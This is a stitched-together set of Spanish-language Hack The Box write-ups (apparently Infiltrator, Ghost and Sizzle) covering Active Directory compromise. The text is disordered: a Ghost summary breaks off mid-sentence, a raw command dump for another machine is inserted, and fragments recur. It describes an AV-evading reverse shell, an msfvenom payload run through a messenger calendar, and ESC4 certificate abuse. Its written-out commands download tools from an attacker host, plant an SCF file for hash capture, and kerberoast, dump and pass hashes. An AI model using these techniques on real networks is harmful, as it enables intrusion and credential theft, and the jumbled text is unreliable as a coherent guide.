    Abuse ForceChangePassword privileges to change a user's password

    En BloodHound verificamos que los miembros del grupo CHIEFS MARKETING disponen del permiso ForceChangePassword sobre el usuario m.harris@infiltrator.htb, pudiendo modifcarle la contraseña sin disponer de la actual del usuario.

    Realizaremos el cambio de contraseña del usuario m.harris@infiltrator.htb a través de la herramienta de bloodyAD, verificaremos que se ha modificado correctamente las credenciales.

    hashtag
    Abuse CanPSRemote privileges to connect with machine

    Revisando nuevamente en BloodHound, verificamos que el usuario que disponemos tiene privilegios de CanPSRemote sobre el Domain Controller DC01. Esto nos proporciona el privilegio de acceder remotamente al equipo, mediante WinRM o RDP.

    Procederemos a solicitar el TGT (Ticket Granting Ticket) del usuario actual, verificaremos que se encuentra correctamente configurado el TGT.

    Nos conectaremos mediante evil-winrm al DC y verificaremos la flag de user.txt.

    En esta máquina por x motivos no funciona correctamente WnRM, al menos en mi caso se quitaba la conexión cada x tiempo.

    Por lo tanto, lo que hicimos fue utilizar la Reverse Shell del repositorio de Nishang. Renombramos el archivo Invoke-PowerShellTcp.ps1 a rev.ps1. Deberemos modificar el archivo para que realice el Invoke de la Reverse Shell al final del script. En este caso, modificamos un poco el script para que el AV no lo detecte tan facilmente.

    Nos ponemos en escucha por el puerto indicado en el script rev.ps1.

    Codificamos en Base64 de Windows el comando que desde el equipo DC01 ejecutaremos y levantaremos un servidor web con Python.

    Desde la consola donde hemos iniciado sesión con evil-winrm, ejecutaremos el comando encodeado en Base64 para otorgarnos la Reverse Shell.

    Verificamos que hemos logrado obtener el acceso correctamente al equipo, desde esta terminal no tendremos problemas de desconexión al equipo.

    hashtag
    Output Messenger

    En la enumeración inicial del equipo, nos encontramos que se encontraba instalado una aplicación llamada Output Messenger, algo inusual en máquinas de HTB.

    Realizamos una búsqueda por internet sobre la aplicación. Al parecer, es una aplicación bastante parecida a Microsoft Teams.

    circle-info

    Output Messenger --> Herramienta de colaboración que permite la productividad del equipo a través de mensajería LAN instantánea, transferencia de archivos, uso compartido de escritorio remoto y más.

    Para buscar posibles vectores de escalar nuestros privilegios en la máquina víctima, decidimos hacer uso de la herramienta de winPEAS.exe. Este binario lo deberemos de disponer en nuestro equipo local, lo compartiremos a través de un servidor web.

    Desde el equipo comprometido, procederemos a descargar el binario en una ruta que el AppLocker no lo detecte.

    Ejecutaremos el winPEAS.exe y el output lo almacenaremos en un archivo llamado result.txt.

    Para compartirnos este resultado en nuestro equipo local, decidimos en levantar un servidor SMB en nuestra Kali.

    Copiaremos el archivo result.txt en el recurso compartido SMB que hemos levantado desde Kali.

    Revisando el resultado obtenido del escaneo de winPEAS, verificamos que existen varios puertos en escucha sobre la aplicación de Output Messenger. Lo cual nos hace pensar que la aplicación está en ejecución en el DC actualmente.

    hashtag
    Performing a Windows port forwarding to my Kali machine

    Disponemos de los siguientes puertos que utiliza la aplicación Output Messenger, nuestro objetivo será compartir estos puertos internos del DC hacía nuestra Kali Linux mediante Port Forwarding.

    circle-check

    14118 14119 14121 14122 14123 14125 14126 14127 14128 14130 14406

    En nuestra Kali, deberemos de disponer de los binario de chisel para UNIX y Windows. El binario de chisel.exe lo dberemos de compartir en el Domain Controller a través de un servidor web.

    Desde el equipo víctima, descargaremos el binario chisel.exe en la ruta donde el AppLocker no nos lo detecte.

    Configuraremos el chisel como servidor en nuestra máquina Kali, el puerto de servidor que utilizaremos es el 1234.

    Desde la máquina víctima, la configuaremos como cliente para que se conecte al servidor de nuestra Kali. Compartiremos todos los puertos internos que utiliza la aplicación Output Messenger para que sean los mismos puertos en nuestra Kali Linux.

    Desde Kali revisaremos que disponemos de los puertos en LISTEN, significando que se ha realizado el Port Forwarding correctamente y ya los tenemos accesibles desde nuestro equipo.

    hashtag
    Sharing the OpenVPN Connection from Linux with Windows so we can have two boxes connected simultaniously

    La aplicación de Output Messenger, al parecer desde Linux no funciona, por lo cual decidimos probar de utilizarla en una máquina Windows que disponíamos.

    El problema aquí es que los puertos que hemos realizado el Port Forwarding se encuentran en nuestra máquina Kali, podríamos realizar nuevamente el Port Forwarding con chisel para compartir los puertos de Kali hacía nuestro otro equipo Windows.


    En este caso, optamos por compartir nuestra conexión de OpenVPN de Kali Linux con la máquina Windows para tener ambas máquinas conectadas simulteanamente.

    Primero de todo, deberemos de habilitar el reenvío de paquetes. Después configuramos las reglas de las tablas de filtrado iptables para permitir el tráfico entrante y saliente desde la interfaz tun0 (OpenVPN) hacia eth0 (la interfaz de red física).

    Verificamos la dirección IP que disponemos en Kali Linux para realizar el MASQUERADE y poder compartir la conexión de Kali Linux, usamos una regla en la tabla NAT.

    Desde nuestra máquina Windows (atacante) verificamos que no disponemos de conexión al equipo del Domain Controller aún.

    Por lo tanto, tuvimos que agregar manualmente las rutas necesarias para que Windows pueda comunicarse correctamente con las redes detrás de la VPN. Verificamos que disponemos de conexión con el DC y con la IP de nuestra Kali de la interfaz tun0.

    hashtag
    Logging in as k.turner in Output Messenger

    Descargaremos la aplicación de Output Messenger desde el siguiente enlace, deberemos de descargar la versión de Cliente Windows.

    Si bien recordamos, en la enumeración de LDAP, encontramos en el campo Description lo que parecía ser una contraseña.

    Abriremos la aplicación de Output Messenger y procederemos a iniciar sesión con las credenciales k.turner/MessengerApp@Pass!. La dirección IP que especificaremos es la que disponemos en nuestra máquina Kali de la interfaz física eth0.

    Perfecto, hemos podido iniciar sesión en la aplicación con el usuariok.turner. A continuación, deberemos explorar los diferentes chats y funciones para intentar buscar algún tipo de información interesante.

    En el chatroom Dev_chat encontramos la siguiente conversación, donde se discute el desarrollo de una herramienta llamada UserExplorer.exe para recuperar información de usuarios desde un servidor LDAP. Aquí algunos puntos clave y lo más interesante:

    • Desarrollo de la herramienta: Se está creando una aplicación que permitirá obtener detalles de los usuarios de LDAP, como nombre, correo electrónico y teléfono, utilizando el protocolo LDAP.

    • Seguridad en las credenciales: Se ha implementado el uso del descifrado AES para manejar las contraseñas, garantizando así la confidencialidad de los datos sensibles.

    • Opciones de entrada: La herramienta admitirá argumentos de línea de comandos para el nombre de usuario, la contraseña y el usuario buscado, ofreciendo una opción predeterminada para facilitar el uso.

    hashtag
    Information leakage (password filtered in notices)

    Si nos dirigimos al apartado de Notices, vemos una noticia que habla sobre una alerta sobre la autenticación previa se encuentra deshabilitada en Kerberos para algunos usuarios. Esto nos confirma el motivo por el cual algunos usuarios aparecían como restringidos.

    Por otro lado, también vemos que en las noticias aparecen lo que parecen ser las credenciales de acceso del usuario m.harris@infiltrator.htb.

    Probaremos de realizar un Password Spraying para verificar si estas credenciales son válidas para algún usuario.

    hashtag
    Logging in as m.harris in Output Messenger

    Probaremos de autenticarnos en la aplicación de Output Messenger en busca de ver si con este usuario tenemos más información interesante que nos pueda servir.

    Vemos que disponemos de un chat con el usuario Admin, el cual nos comparte el binario de la aplicación UserExplorer.exe que anteriormente estuvieron hablando en el chat de Dev_Chat. Nos descargaremos el binario accediendo a través de la opción de Open Folder.

    Dispondremos del binario de UserExplorer.exe, el cual realizaremos una copia en nuestro Desktop.

    hashtag
    Debugging with dnSpy

    Al analizar el binario, nos encontramos que aparecen las credenciales cifradas del usuario winrm_svc. Si bien recordamos en la conversación del chatroom de Dev_Chat, estaban intentando cifrar esta contraseña en cifrado AES.

    A través del siguiente script, lo que realizaremos es descodificar la contraseña cifrada para obtenerla en texto plano.

    Al ejecutar el script y pasarle el valor de la contraseña cifrado, verificamos que nos devolvío un string parecido a Base64. Al intentar descodificar el contenido en Base64 no nos devolvió un resultado legible.

    Por lo que volvimos a ejecutar el script pero indicándole este nuevo valor obtenido. Al parecer pudimos desencriptar la contraseña cifrada y obtener la contraseña en texto plano.

    Validamos que efectivamente estas credenciales son válidas para el usuario winrm_svc@infiltrator.htb.

    hashtag
    Logging in winrm_svc in Output Messenger

    Probaremos de acceder a Output Messenger con las credenciales recién obtenidas.

    Revisando los chats, O. Martínez reportó que recibe ventanas emergentes de sitios web al azar todos los días a las 09:00 a. m. Durante la conversación, mencionó que no ha compartido su contraseña, salvo con el grupo Chiefs_Marketing_chat.

    Esto nos interesa, ya que revisar las conversaciones de ese grupo podría revelar detalles sobre la contraseña del usuario, permitiéndonos verificar su validez y potencialmente utilizarla para realizar ataques de pivoting o escalar privilegios.

    Por otro lado, en la sección de notas, verificamos que nos aparece una API Key, deberemos investigar si podemos hacer uso de esta API Key en algún servicio.

    circle-info

    lan_managment api key 558R501T5I6024Y8JV3B7KOUN1A518GG

    hashtag
    Using Output Messenger API to retrieve conversations logs on a group

    Buscamos por internet información sobre la API de Output Messenger, en la cual nos encontramos con la siguiente página en donde nos informa como poder utilizar la API de la aplicación.

    Revisando más información sobre las posibilidades del uso del API, verificamos que hay un apartado en el cual a través de la API, podemos visualizar los logs de un chat room.

    Esto nos interesa bastante, debido que si bien recordamos, el usuario O.martinez compartió sus credenciales en el chat Chiefs_marketing_chat.

    Para poder comprobar los logs del chat room, necesitaríamos los siguientes datos:

    • [roomkey] - Chat Room Key.

    • [fromdate] - Start Date.

    • [todate] - End Date.

    Nos faltaría saber cual es la roomkey del chat room que queremos revisar los logs.

    Para empezar, primero revisaremos como funciona la API, en este ejemplo, se nos muestra como authenticarnos a través de nuestra API-KEY.

    Desde nuestra máquina Kali, interceptaremos la solicitud con FoxyProxy y BurpSuite sobre la dirección , lo realizamos desde localhost (127.0.0.1) ya que anteriormente nos compartimos los puertos internos del DC a nuestra Kali Linux.

    Al tener la solicitud interceptada en BurpSuite, le indicaremos la API-KEY que encontramos anteriormente. Verificamos que hemos podido consultar los usuarios correctamente tal y como nos indicaba el ejemplo de Authentication.

    Ya sabemos como utilizar el API-KEY para utilizar la API, ahora lo único que nos queda es saber cual es el roomkey del chat room de Chiefs_Marketing_chat.

    Después de una larga búsqueda, decidimos revisar si en el AppData del usuario winrm_svc había algún dato interesante.

    Revisando los grupos a los que formaba parte el usuario winrm_svc, verificamos que formaba parte del grupo Remote Management Users, por lo tanto nos podremos conectar en remoto al equipo.

    Para ello, primero deberemos de solicitar un TGT (Ticket Granting Ticket) del usuario, almacenarlo en la variable KRB5CCNAME y verificar que el ticket TGT esté correctamente configurado.

    Al proceder a conectarnos al equipo mediante evil-winrm y, revisando el directorio AppData nos encontramos con dos archivos .db3 que quizás podríamos llegar a encontrar información interesante. Nos descargamos ambos archivos para tenerlos localmente en nuestro equipo.

    Al revisar el archivo OM.db3 con la herramienta de sqlite3, verificamos que hemos logrado obtener la roomkey del chat Chiefs_Marketing_chat.

    Ya disponemos de lo que parece ser la roomkey del chat room que queremos ver sus logs.

    Por lo tanto, siguiendo el API Helper de la documentación del Output Messenger que nos encontramos, procederemos a ver los logs de las fechas recientes. En la conversación con O.martinez, la conversación que mantienen es el 20 de Febrero de 2024.

    En este caso, buscaremos los logs entre las fechas del 19 al 20 de febrero utilizando la roomkey. Verificamos que hemos logrado al parecer leer los logs de este chat.

    Revisando los logs del chat, verificamos lo que parece ser el mensaje que decía O.martinez en el cual compartía su contraseña en este grupo.

    Procederemos a verificar si estas credenciales siguen siendo válidas a nivel de dominio. En este caso, al parecer, la usuaria debió cambiar sus credenciales por seguridad después de recibir varias alertas de SPAM.

    hashtag
    Logging in O.martinez in Output Messenger

    De casualidad, probamos de autenticarnos con estas credenciales al Output Messenger, para verificar si el usuario había cambiado también las credenciales en esta aplicación de mensajería.

    Logramos acceder con el usuario O.martinez, además logramos visualizar el grupo Chiefs_Marketing_chat en el cual efectivamente, había compartido sus credenciales de acceso.

    hashtag
    Running a malicious binary to get a Reverse Shell with a Calendar "Run application" function on Output Messenger

    Revisando las funciones de la aplicación, nos encontramos que a través de crear un nuevo evento en el calendario, eramos capaces de ejecutar una aplicación.

    Por lo tanto, lo que se probó a realizar es a crear un payload malicioso de una Reverse Shell. En este caso se utilizó msfvenom para crear un binario .exe malicioso que al ejecutarse nos proporcionaría una Reverse Shell. Compartiremos este binario malicioso a través de un servidor web.

    Desde otra terminal, nos pondremos en escucha para recibir la Reverse Shell.

    Desde el equipo Windows (atacante) el cual hemos instalado el Output Messenger, procederemos a descargar el binario malicioso y lo ejecutaremos.

    Vemos que funciona la reverse.exe, pero al ejecutarlo nosotros manualmente, el usuario que recibimos es el de nuestra máquina Windows (atacante).

    Por lo tanto, el objetivo será crear un nuevo evento para intentar y verificar si el usuario O.martinez es capaz de ejecutar el binario malicioso reverse.exe correctamente y obtener una Shell con ese usuario.

    Verificamos que se ha creado correctamente el evento. Deberemos de esperar a que el tiempo transcurra y verificar si funciona o no.

    circle-info

    En nuestro caso, intentamos adelantar la hora de Windows manualmente, y por x motivos a veces funcionaba y otras no.

    Después de diversas pruebas, logramos obtener una Shell como usuario O.martinez@infiltrator.htb.

    hashtag
    Privilege Escalation

    hashtag
    Analyzing a Wireshark PCAP File

    Revisamos en el directorio AppData del usuario actual si había algún tipo de información interesante. Comprobando en varios directorios, nos encontramos con un archivo de una captura de Wireshark.

    Nos volveremos a montar un servidor SMB en nuestra Kali para compartirnos este archivo encontrado.

    Copiaremos el archivo mencionado al recurso compartido SMB que tenemos en nuestra Kali.

    Abriremos la captura de Wireshark obtenida, verificaremos el siguiente resultado.

    En el resultado obtenido, verificamos que hay una solicitud que se descarga a través del métoddo GET, un archivo llamado BitLocker-backup.7z. Lo que intentaremos es recuperar el archivo original. Para ello, en la solicitud donde se confirmó la descarga con un 200 OK, haremos click derecho e ingresaremos a Seguir < HTTP Stream.

    Indicaremos que muestra la Conversación completa y que el resultado se muestre en formato Raw, guardaremos el archivo en nuestro directorio de trabajo.

    Verificaremos que disponemos del archivo BitLocker-backup.raw, procederemos a revisar el archivo a través de la herramienta de hexedit.

    hashtag
    Recovering original file obtained in Wireshark capture (hexedit)

    El objetivo será recuperar el archivo original obtenido de la captura de Wireshark. Para ello, lo primero será localizar en que sección de la memoria empieza el archivo 7z. Según ChatGPT, las cabeceras de archivos 7z empiezan normalmente por 37 7A BC AF 27 IC.

    Revisando el archivo en hexadecimal y situándonos en la cabecera de donde empieza el archivo, vemos que en la parte inferior nos muestra que el archivo empieza por los valores 0x3A5/0x33554.

    El siguiente paso será eliminar toda la parte superior del archivo raw. Para ello, crearemos dos variables de entorno que nos indique la posición exacta del byte y que a partir de ahí sobreescriba el archivo .raw.

    Verificamos que hemos logrado obtener el archivo original sobreescribiendo el raw obtenido anteriormente.

    Descromprimiremos el archivo BitLocker-backup.7z y vemos que requiere de credenciales para acceder al archivo, credenciales que no disponemos.

    A través de 7z2john lo que realizamos es obtener el hash de la contraseña del archivo y almacenarlo en un archivo llamado hash7z.

    Al intentar crackear este hash obtenido con john, verificamos que hemos logrado crackear el hash y obtener su contraseña.

    Al volver a descomprimir el archivo 7z, verificamos que nos ha descomprimido correctamente el archivo.

    hashtag
    Decrypting BitLocker-encrypted disk via obtained recovery key and obtaining a backup of NTDS.dit

    Revisando el resultado obtenido del archivo 7z, verificamos que hay un archivo HTML. Procederemos a montar un servidor web con Python para revisar el contenido del archivo.

    Al acceder al servidor web de nuestro equipo, logramos verificar que se trata de una clave de recuperación de BitLocker.

    circle-info

    BitLocker es una característica de seguridad de Windows que proporciona cifrado para volúmenes completos, que aborda las amenazas de robo de datos o exposición de dispositivos perdidos, robados o retirados inapropiadamente.

    Clave obtenida: 650540-413611-429792-307362-466070-397617-148445-087043

    Revisando nuevamente el archivo de Wireshark obtenido, verificamos que el usuario O.martinez realizó un cambio de credenciales y estas aparecen en texto plano.

    Verificaremos si estas nuevas credenciales obtenidas nos permiten acceder al sistema, efectivamente hemos logrado autenticarnos correctamente.

    Revisamos en BloodHound de que el usuario O.martinez@infiltrator.htb dispone de privilegios CanRDP sobre el equipo DC01. Por lo cual podríamos conectarnos por RDP al Domain Controller.

    Nos conectaremos mediante xfreerdp3 al DC para tener acceso remoto por RDP y tener entorno gráfico.

    Verificamos que disponemos del disco C: y de una unidad cifrada con BitLocker E:.

    Al intentar acceder a la unidad E:, verificamos que nos requiere de credenciales para acceder. Entre las opciones nos aparece la opción de Enter recovery key para introducir una clave de recuperación de BitLocker.

    Ingresaremos la clave de recuperación de BitLocker que obtuvimos anteriormente para desbloquear la unidad cifrada.

    Conseguimos tener acceso a la unidad E:, entre los directorios de la unidad, verificamos que en el directorio E:\Windows Server 2012 R2 - Backups\Users\Administrator\Documents disponía de un archivo de backup llamado Backup_Credentials.7z.

    Deberemos de compartir este archivo a nuestro equipo local. Para ello, montaremos un servidor SMB que utilice las credenciales del usuario O.martinez.

    Conectaremos esta unidad en el DC y copiaremos el archivo de Backup en nuestro recurso compartido.

    Verificaremos que logramos tener el archivo de Backup, al proceder a descomprimir el archivo, verificamos que logramos disponer lo que parece ser de un Backup de los archivos NTDS.dit, SYSTEM y SECURITY.

    Exportaremos los hashes NTLM del archivo NTDS.dit, verificamos que logramos obtener los hashes de todos los usuarios del AD, entre ellos las del usuario Administrator.

    Al intentar validar si podemos realizar Pass-The-Hash con este hash NTLM del usuario Administrator, comprobamos que este hash ya no es válido y no podemos autenticarnos como él.

    hashtag
    Transforming a NTDS.dit file to SQLite file (ntdsdotsqlite)

    Dado que no logramos extraer ningún tipo de información ni ninguna credencial válida en el NTDS.dit. Descubrimos la siguiente herramienta que nos transforma el NTDS.dit en un archivo DB para abrirlo con sqlitebrowser.

    Al revisar en los diferentes campos, logramos verificar que aparece lo que parecen ser unas credenciales para el usuario lan_managment@infiltrator.htb.

    Validaremos si estas credenciales siguen siendo válidas para el usuario encontrado. Efectivamente estas credenciales nos sirven correctamente.

    hashtag
    Abusing ReadGMSAPassword Rights

    Al revisar nuevamente en BloodHound, verificamos que el usuario que disponemos, tiene privilegios de ReadGMSAPassword sobre el objeto infiltrator_svc$@infiltrator.htb.

    A través de la herramienta de bloodyAD, procederemos a leer la contraseña del GMSA. Logramos obtener el hash NTLM del objeto en cuestión.

    Validamos si podemos hacer un Pass-The-Hash con este hash NTLM y el usuario, verificamos que logramos validar las credenciales correctamente.

    hashtag
    ESC4 exploitation case with certipy-ad

    Buscando vías potenciales de elevar nuestros privilegios, verificamos que este usuario, forma parte del grupo Certificate Service DCOM Access, lo cual nos replantea investigar si podemos abusar de los ADCS (Active Directory Certificate Services).

    Con la herramienta de certipy-ad buscaremos si existe algún template que sea vulnerable. En este caso nos muestra que podemos efectuar el ESC4.

    Realizaremos la explotación del ESC4 de los ADCS (Active Directory Certificate Services).

    Configuraremos la template obtenida para que sea vulnerable.

    Revisaremos nuevamente que la Template se ha modificado correctamente.

    Abusaremos de la template vulnerable para que el usuario Administrator utilice la template vulnerable y se nos proporcione el certificado administrator.pfx.

    Con este certificado, procederemos a utilizarlo para obtener el hash NTLM del usuario Administrator o obtener el ticket TGT administrator.ccache.

    Validaremos que el hash NTLM obtenido es correctamente válido para el usuario Administrator.

    Procederemos a conectarnos al Domain Controller realizando Pass-The-Hash, logramos obtener la flag de root.txt.

    También podemos hacer uso del ticket TGT administrator.ccache para autenticarnos y conectarnos al Domain Controller mediante wmiexec por ejemplo.

    Ghost

    Ghost es una máquina Windows Active Directory de dificultad Insane que comienza con una inyección LDAP que un atacante puede aprovechar para filtrar las credenciales de una instancia de Gitea.

    Analizando el código fuente de los repositorios, el atacante puede combinar una vulnerabilidad de lectura arbitraria de archivos con una vulnerabilidad de ejecución remota de código (RCE) para obtener acceso a un servidor Linux conectado al entorno de Active Directory.

    Enumerando el sistema Linux, el atacante logra extraer un ticket Kerberos de un usuario de dominio, lo que le permite obtener acceso al propio Active Directory.

    Dentro del dominio, el atacante puede crear una entrada DNS maliciosa para capturar el hash de otro usuario de dominio. Con este nuevo usuario comprometido, puede

    nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.103 -oG allPorts
    nmap -sCV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49669,49673,49690,49691,49693,49696,49708,49724,49743 10.10.10.103 -A -oN targeted -oX targetedXML
    xsltproc targetedXML > index.html
    
    python3 -m http.server 80
    ldapsearch -x -H ldap://10.10.10.103 -s base | grep defaultNamingContext
    
    nxc smb 10.10.10.103
    catnp /etc/hosts | grep sizzle
    whatweb https://sizzle.htb.local
    gobuster dir -u https://sizzle.htb.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200
    ftp 10.10.10.103
    nxc smb 10.10.10.103 -u 'guest' -p ''
    
    nxc smb 10.10.10.103 -u 'guest' -p '' --shares
    nxc smb 10.10.10.103 -u 'guest' -p '' -M spider_plus
    
    cat /tmp/nxc_hosted/nxc_spider_plus/10.10.10.103.json | jq
    mkdir /mnt/shares
    
    mount -t cifs -o username=guest,password=  '//10.10.10.103/Department Shares' /mnt/shares
    
    cd /mnt/shares
    
    ls -l
    for dir in $(ls /mnt/shares); do for subdir in $(ls /mnt/shares/$dir); do smbcacls "//10.10.10.103/Department Shares" "$dir/$subdir" -N | grep -i everyone | grep -i full > /dev/null && echo "[*] Directorio $dir/$subdir: Permisos de escritura"; done; done
    [Shell]
    Command=2
    IconFile=\\10.10.16.5\smbFolder\test.ico
    [Taskbar]
    Command=ToggleDesktop
    smbserver.py smbFolder $(pwd) -smb2support
    
    smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'
    
    cd Users/Public
    
    put file.scf 
    responder -I tun0 -v
    
    smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'
    
    cd Users/Public
    
    put file.scf 
    hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
    nxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972'
    
    nxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972' --shares
    evil-winrm -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'
    gobuster dir -u http://sizzle.htb.local -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 200
    openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr
    evil-winrm -S -c certnew.cer -k amanda.key -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'
    bloodhound-python -c All -ns 10.10.10.103 -u 'amanda' -p 'Ashare1972' -d htb.local --zip
    impacket-GetUserSPNs -dc-ip 10.10.10.103 htb.local/amanda -debug 2>/dev/null
    python3 -m http.server 80
    
    IWR -Uri http://10.10.16.5/Rubeus.exe -OutFile Rubeus.exe
    Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
    ./Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972
    # Desde el equipo atacante
    python3 -m http.server 80
    
    # Desde el equipo víctima
    IWR -Uri http://10.10.16.5/chisel.exe -OutFile chisel.exe
    
    # Desde el equipo atacante
    ./chisel server --reverse -p 1234
    
    # Desde el equipo víctima
    ./chisel.exe client 10.10.16.5:1234 R:88:127.0.0.1:88 R:389:127.0.0.1:389
    impacket-GetUserSPNs -dc-ip 127.0.0.1 htb.local/amanda -request 2>/dev/null
    hashcat -a 0 hash.txt /usr/share/wordlists/rockyou.txt
    nxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7'
    
    nxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7' --shares
    secretsdump.py -just-dc-ntlm htb.local/mrlky@10.10.10.103
    nxc smb 10.10.10.103 -u 'Administrator' -H 'f6b7160bfc91823792e0ac3a162c9267'
    wmiexec.py htb.local/Administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267
    ❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.31 -oG allPorts
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 16:04 CET
    Nmap scan report for 10.10.11.31
    Host is up (0.055s latency).
    Not shown: 65513 filtered tcp ports (no-response)
    Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
    PORT      STATE SERVICE
    53/tcp    open  domain
    80/tcp    open  http
    88/tcp    open  kerberos-sec
    135/tcp   open  msrpc
    139/tcp   open  netbios-ssn
    389/tcp   open  ldap
    445/tcp   open  microsoft-ds
    464/tcp   open  kpasswd5
    593/tcp   open  http-rpc-epmap
    636/tcp   open  ldapssl
    3268/tcp  open  globalcatLDAP
    3269/tcp  open  globalcatLDAPssl
    3389/tcp  open  ms-wbt-server
    5985/tcp  open  wsman
    9389/tcp  open  adws
    15220/tcp open  unknown
    49666/tcp open  unknown
    49688/tcp open  unknown
    49690/tcp open  unknown
    49692/tcp open  unknown
    49723/tcp open  unknown
    49740/tcp open  unknown
    
    Nmap done: 1 IP address (1 host up) scanned in 188.34 seconds

    Estado actual: Actualmente, la aplicación está en fase de pruebas exhaustivas realizadas por el equipo de control de calidad, y se están refinando los mensajes de error para asegurar una experiencia fluida para el usuario.

    http://localhostarrow-up-right
    http://infiltrator.htbarrow-up-right
    http://127.0.0.1:14125/api/usersarrow-up-right
    leer la contraseña GMSA
    de una cuenta de servicio relacionada con los servicios
    ADFS
    .

    Comprometiendo esta cuenta de servicio, el atacante puede forjar una respuesta Golden SAML y conseguir acceso a un panel de gestión de bases de datos. Desde allí, explotando una base de datos MSSQL vinculada a un dominio diferente, puede ejecutar código en una máquina de ese segundo dominio.

    Finalmente, elevando privilegios y aprovechando la relación de confianza bidireccional entre los dos dominios, el atacante puede crear un Golden Ticket Kerberos válido para ambos dominios, logrando así comprometer completamente todo el bosque de Active Directory.


    hashtag
    Reconnaissance

    Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Ghost. Este resultado lo almacenaremos en un archivo llamado allPorts.

    A través de la herramienta de extractPortsarrow-up-right, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.

    Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.

    Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

    Accederemos a http://localhostarrow-up-right y verificaremos el resultado en un formato más cómodo para su análisis.

    A través de la herramienta de netexec y ldapsearch enumeraremos el equipo para localizar más información. Entre la información obtenida, verificamos el hostname, versión del SO y el nombre del dominio.

    Añadiremos en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la dirección IP del equipo.

    hashtag
    Web Enumeration

    Realizaremos una enumeración de las tecnologías presentes en las diferentes páginas web que hemos encontrado en diferentes puertos.

    Al acceder a http://ghost.htbarrow-up-right y https://ghost.htbarrow-up-right verificamos que no muestra ningún tipo de contenido.

    Cuando accedimos a http://ghost.htb:8008 arrow-up-rightnos mostró una página web del CMS Ghost.

    circle-info

    Basado en NodeJS, Ghost es un software de gestión de contenidos enfocado a blogs, con multitud de integraciones y que permite una completa personalización del aspecto. En su conjunto, es una solución que resulta muy amigable para cualquier desarrollador.

    Al acceder a https://ghost.htb:8443arrow-up-right se nos mostraba una página web de inicio de sesión con un botón el cual nos redirigía a federation.ghost.htb.

    Añadiremos esta nueva entrada en nuestro archivo /etc/hosts.

    Al tratar de acceder a https://federation.ghost.htbarrow-up-right verificamos un panel de inicio de sesión del sitio web.

    Realizaremos una enumeración de subdominios a través de la herramienta de ffuf con diferentes diccionarios, nos encontramos con los siguientes subdominios.

    Después de una enumeración de subdominios de la página web, añadiremos las siguientes entradas en nuestro archivo /etc/hosts.

    Al tratar de acceder a http://intranet.ghost.htb:8008arrow-up-right nos muestra un panel de inicio de sesión a lo que parece ser la Intranet del sitio web.

    Al acceder a http://gitea.ghost.htb:8008arrow-up-right nos encontramos con el siguiente sitio web de la plataforma de Gitea.

    Al investigar más en la página web de Gitea nos encontramos con dos nombres de usuarios que probablemente sean del Directorio Activo (AD).

    hashtag
    Shell as Root

    hashtag
    LDAP Injection

    Interceptaremos la solicitud al intentar acceder al panel de intranet.ghost.htb y verificamos que al enviar la solicitud con el usuario test/test. Nos devuelve el siguiente mensaje en la respuesta del servidor. También verificamos que los campos del username y password tienen de nombre la variable algo relacionado con LDAP. Lo cual nos hace pensar que por detrás realiza una consulta en LDAP para validar el acceso a la Intranet.

    Probaremos de inyectar el siguiente carácter ) para cerrar la query de LDAP y al enviar la solicitud, el servidor nos devuelve un mensaje informando que ha ocurrido un error.

    Probaremos de realizar un Authenticacion Bypass indicándole el nombre de usuario cassandra.shelton que encontramos en el Gitea e indicándole como contraseña el carácter * con lo cual si no está bien configurado, se utilizará como comodín y rellenará el campo de la contraseña.

    Al enviar esta solicitud, verificamos que se nos ha generado un Token en la respuesta del servidor, lo cual parece indicarnos que efectivamente hemos podido realizar el Bypass correctamente.

    A través de la extensión de Cookie Editor añadiremos este nuevo Token en la página de http://intranet.ghost.htb:8008arrow-up-right.

    Al actualizar la página se nos muestra el acceso correspondiente a la Intranet. En la sección de noticias se nos indica lo siguiente.

    circle-info

    En la sección News de intranet.ghost.htb, encontramos información sobre la migración de Gitea a Bitbucket. Los inicios de sesión con credenciales de dominio están deshabilitados, pero mencionan una cuenta gitea_temp_principal con un token almacenado en LDAP. También indican que, temporalmente, el acceso a la intranet requiere un token secreto en lugar de la contraseña de dominio.

    Al acceder a la sección de Users, verificamos la existencia de los diferentes usuarios del dominio.

    Nos guardaremos en un archivo, el listado de usuarios del dominio que hemos encontrado en la Intranet.

    En la sección de Forums nos encontramos con la siguiente información.

    circle-info

    En la sección News, encontramos que la migración de publicaciones desde la antigua intranet aún está en proceso, por lo que no es posible publicar o responder por el momento.

    También identificamos una conversación donde un usuario intenta conectar con bitbucket.ghost.htb, pero recibe un error. Según una respuesta, el problema se debe a que la migración no ha finalizado y la entrada DNS aún no está configurada.

    Además, hay publicaciones internas sobre logros del equipo y reconocimientos a investigadores, lo que indica una cultura organizativa activa en la intranet.

